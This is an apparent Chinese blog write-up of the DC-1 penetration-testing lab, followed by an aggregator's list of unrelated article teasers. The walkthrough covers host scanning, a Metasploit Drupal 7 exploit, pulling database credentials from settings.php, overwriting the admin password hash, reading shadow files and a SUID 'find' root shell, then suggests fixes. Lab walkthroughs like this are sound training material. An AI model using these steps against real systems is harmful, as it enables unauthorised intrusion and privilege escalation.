DC-1渗透测试复现

DC-1渗透测试复现

目的:

获取最高权限以及5个flag

过程:

信息打点-cms框架漏洞利用-数据库-登入admin-提权

环境:

攻击机:kali(192.168.85.136)

靶机:DC_1(192.168.85.131)

复现:

一.信息收集

扫描同网段存活的主机

nmap -sP 192.168.85.0/24
或者:
arp-scan -l

发现 192.168.85.131主机存活 进行 扫描 发现 80 (网页) 22 (ssh)连接 111端口(sun),

使用Awvs进行网页扫描 得到服务器和脚本语言

使用 whatweb进行扫描发现 该cms为 Drupal 7 

 然后进行web网页目录的扫描,发现没有啥可利用的

总结:

1.目标IP为192.168.85.131

2. 目标开启的端口有80 22 111端口 其中80端口为一个网页登入页面,22可使用于ssh连接,111带端口也有漏洞利用,web目录扫描有个robots.txt感觉无利用价值

3.目标IP系统为Unix系统,且 服务器为阿帕奇,cms为Drupal 7  脚本语言为PHP等

二 .寻找漏洞 

能够利用的漏洞 先从80端口网页开始,弱口令都登入不了 且登入错误次数过多会进行IP的登入限制,注入也试了无果,尝试22端口进行ssh连接 由于不知道对方用户的用户名 密码 尝试一些基本的弱密码登入无果,然后开始就看框架 阿帕奇的框架漏洞很多,我们先看cms的Drupal 7漏洞利用

发现 可以利用msf进行远程登入

三.漏洞利用

启动msf搜寻Drupal利用模块

找paylaod 

 配置攻击

获得交互 

四.目标主机的信息收集 

发现flag1

Every good CMS needs a config file - and so do you.

说的是就让你找CMS的config 配置文件

或者模糊查询

cat `find / -name settings.php` 

得到flag2 

* flag2
 * Brute force and dictionary attacks aren't the
暴力破解和字典攻击不是
 * only ways to gain access (and you WILL need access).
只有获得访问权限的方法(你将需要访问权限)。
 * What can you do with these credentials?
你能用这些证书做什么?

还有数据库的信息、得到数据库的账号密码以及当前库名

连接mysql 进入数据库一查究竟

mysql -udbuser -pR0ck3t

发现 users表

可以看密码了 

一看就是加密后的形式 有点像base+hash

那就去寻找加密的文件

在/script找到了 password-hash.sh文件

打开看看

$passwords = array();

// Parse invocation arguments.
while ($param = array_shift($_SERVER['argv'])) {
  switch ($param) {
    case '--root':
      // Change the working directory.
      $path = array_shift($_SERVER['argv']);
      if (is_dir($path)) {
        chdir($path);
      }
      break;
    default:
      // Add a password to the list to be processed.
      $passwords[] = $param;
      break;
  }
}

define('DRUPAL_ROOT', getcwd());

include_once DRUPAL_ROOT . '/includes/password.inc';
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';

foreach ($passwords as $password) {
  print("\npassword: $password \t\thash: ". user_hash_password($password) ."\n");
}
print("\n");

那还不简单吗  自己设置一个自己想要的密码就行了,然后去数据库替换admin的密码不就好了 

 得到wenda加密后的密码 

$S$DnoWasVbfj0/V7Dzv9Ma1Ru.6Y1YqHe4n6PCO9zwI1Rg5/fvjstK

那就回数据库更新密码了

update users set pass = "$S$DnoWasVbfj0/V7Dzv9Ma1Ru.6Y1YqHe4n6PCO9zwI1Rg5/fvjstK" where name = 'admin' ;

 然后登入网页 寻找到了flag3

特殊的 PERMS 将帮助找到密码 - 但您需要执行该命令才能弄清楚如何获取shadow中的内容

那就去看shadow和passwd文件呗 ,发现了flag4 以及文件的路径/home/flag4

我们访问/home/flag4 终于扎到了flag4

Can you use this same method to find or access the flag in root?
在root目录下找flag
Probably. But perhaps it's not that easy.  Or maybe it is?
可能。但也许没那么容易。也许是这样?
五.提权 

访问无权限

终于到了提权的环节了 ,直接find寻找具有suid的指令试试

find / -perm -u=s -type f 2>/dev/null       //查看具有suid权限的命令

find / -perm -4000 2>/dev/null         //这个也可以

发现  find可以使用

find拥有suid权限位,尝试以find命令执行whoami 

find `which find` -exec whoami \;

ok啊 root用户 

直接变成root用户吧 

find / -exec "/bin/bash" -p \; 

然后找到了最后一个flag 

收工 

六.修复

1.关闭不必要的22,111危险端口,或者更换端口号

2.将Drupal更新最新版

3.不能随意泄露敏感文件信息

4.取消一些能够提权的函数权限

5.数据库的账号密码不应该以明文形式存入到配置信息中,将数据库密码存储在环境变量中,而不是直接在代码中

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/548803.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

IDEA 本地库引入了依赖但编译时找不到

在使用 IDEA 开发 Maven 项目的过程中,有时会遇到本地库引入了依赖,但编译时报找不到这个依赖,可以使用命令处理。 打开 Terminal。 执行清理命令。 mvn clean install -Dmaven.test.skiptrue执行更新命令。 mvn -U idea:idea

怎么清除3D模型杂质?---模大狮模型网

在进行3D建模过程中,模型可能会受到各种杂质的影响,这些杂质可能来自于模型本身的结构问题、导入导出过程中的错误、或者是不当的编辑操作所留下的痕迹。清除这些杂质是保证模型质量和渲染效果的关键步骤之一。本文将介绍几种常见的清除3D模型杂质的方法…

【C++】适配器· 优先级队列 仿函数 反向迭代器

目录 适配器:适配器的应用:1. 优先级队列:仿函数:更深入的了解仿函数:一个关于不容易被注意的知识点: 2. 反向迭代器:list && vector: 适配器: 我们先来谈来一下…

最新IntelliJ IDEA 2024.1 安装和快速配置教程

IntelliJ IDEA 2024.1 最新版如何快速入门体验?IntelliJ IDEA 2024.1 安装和配置教程 图文解说版 文章目录 IntelliJ IDEA 2024.1 最新版如何快速入门体验?IntelliJ IDEA 2024.1 安装和配置教程 图文解说版前言 第一步: IntelliJ IDEA 2024.1安装教程第 0 步&…

activiti初次学习

源代码地址:https://gitee.com/ZSXYX/activiti.git​ 1、安装插件 首先安装下图所示activiti,不确定是哪个插件有用的,有时间可排除下 在resources下创建一个文件夹:processes,右键,新建 生成: 选中act.bpmn20.xm…

Android 使用ping命令判断当前网络状态

一. 介绍 ping命令是用来测试和诊断网络连接问题的基本命令,当然我们的终端设备(手机/平板/车机)都可以用这个命令来判断当前网络是否有流量的状态,本篇文章主要介绍Linux的ping命令,因为Android系统也是使用了Linux内…

【面经】操作系统/Linux

1、计算机的五大单元 电脑的五大单元包括:输入单元、输出单元、控制单元、算数逻辑单元、存储单元五大部分。其中CPU占有控制、算术逻辑单元,存储单元又包含内存与辅助内存; 2、什么是操作系统 操作系统:负责管理协调我们计算机…

汽车车灯用肖特基二极管,选什么型号好?

肖特基二极管种类繁多,有低压降肖特基二极管、通用型肖特基二极管、快速恢复型肖特基二极管、高功率肖特基二极管、汽车级肖特基二极管等等,其中低压降肖特基二极管和汽车级肖特基二极管是二极管厂家东沃电子的核心优势产品。关于东沃电子推出的低压降肖…

Android 接入MQTT服务器

加入MQTT库 加入库可以直接下载对应的jar包,也可以在build.gradle里导入,然后加载进入。 这里直接在build.gradle加库 dependencies {implementation(libs.appcompat)implementation(libs.material)implementation(libs.activity)implementation(libs…

【k8s】:深入理解k8s中的亲和性(Affinity)及其在集群调度中的应用

【k8s】:深入理解k8s中的亲和性(Affinity)及其在集群调度中的应用 1、什么是亲和性?2、节点亲和性(Node Affinity)2.1 硬性节点亲和性规则(required)2.2 软性节点亲和性规则&#xf…

如何制作二维码电子画册?轻松入门,快速上手!

在当今数字化时代,二维码电子画册成为了企业推广和信息传递的重要工具之一。相比传统纸质画册,二维码电子画册不仅环保节能,而且可以通过扫描二维码轻松获取更多详细信息,为用户提供了更加便捷的阅读体验。 今天就教大家如何制作二…

【Java开发指南 | 第三篇】Java 空行、强制类型转换及基本数据类型

读者可订阅专栏:Java开发指南 |【CSDN秋说】 文章目录 Java 空行强制类型转换Java 基本数据类型内置数据类型引用类型 Java 空行 空白行或者有注释的行,Java 编译器都会忽略掉。 强制类型转换 当需要将一个数据类型转换为另一个数据类型时&#xff0c…

浅尝 express + ORM框架 prisma 的结合

一、prisma起步 安装: npm i prisma -g查看初始化帮助信息: prisma init -h查看初始化帮助信息结果: Set up a new Prisma projectUsage$ prisma init [options] Options-h, --help Display this help message --datasource-provider …

Intewell-Hyper II_V2.1.1_工业实时操作系统软件版本发布

Intewell-Hyper II_V2.1.1_工业实时操作系统软件版本发布 Intewell-Hyper II_V2.1.1 版本号:V2.1.1 版本特点 新增V1.3.2分支上SHV构型合并及问题回归 版本或修改说明 增加功能: 1.V1.3.2分支上SHV构型合并及问题回归 2.适配NewPre3102和NewPre3101…

node+vue3的websocket前后端消息推送

nodevue3的websocket前后端消息推送 前期写web项目时,前端获取数据的方式一般是向后端发起数据请求,然后后端向前端发送数据,然后对数据进行渲染,这是最常规的一种数据通讯方式,适用于绝大部分前后端分离的项目 实际…

java的ConcurrentHashMap深入理解

概要 怎么保证线程安全: 在初始化数组时用了cas操作,sizectl作为占位标志(U.compareAndSwapInt(this, SIZECTL, sc, -1);获取数组中的元素是否已经有了,用Volatile修饰数组(保证可见性)&#…

边缘计算网关有哪些优势?-天拓四方

随着信息化、智能化浪潮的持续推进,计算技术正以前所未有的速度发展,而边缘计算网关作为其中的重要一环,以其独特的优势正在逐步改变我们的生活方式和工作模式。本文将详细解析边缘计算网关的优势。 首先,边缘计算网关具有显著的…

【好书推荐6】《Excel函数与公式应用大全for Excel 365 Excel 2021》

【好书推荐6】《Excel函数与公式应用大全for Excel 365 & Excel 2021》 写在最前面《Excel函数与公式应用大全for Excel 365 & Excel 2021》关键点内容简介作者简介前言/序言目录 🌈你好呀!我是 是Yu欸 🌌 2024每日百字篆刻时光&…

Linux之命令行参数的原理以及实现,环境变量限时增加删除和永久增加删除以及代码获取环境变量

个人主页:点我进入主页 专栏分类:C语言初阶 C语言进阶 数据结构初阶 Linux C初阶 算法 欢迎大家点赞,评论,收藏。 一起努力,一起奔赴大厂 一.命令行参数 1.1main函数参数 在我们学习c语言时我们的main函数…

Vue - 5( 16000 字 Vue2 入门级教程)

一:Vue 初阶 1.1 组件自定义事件 在 Vue 中,组件间通过自定义事件进行通信是一种常见的模式。自定义事件允许子组件向父组件发送消息,也可以在组件内部进行事件的绑定、触发和解绑。让我们详细讲解这些知识点。 1.1.1 组件自定义事件 在 …